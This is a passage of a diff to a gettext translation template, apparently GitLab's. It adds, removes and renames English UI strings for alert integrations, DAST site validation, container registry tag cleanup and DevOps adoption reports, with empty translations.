+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
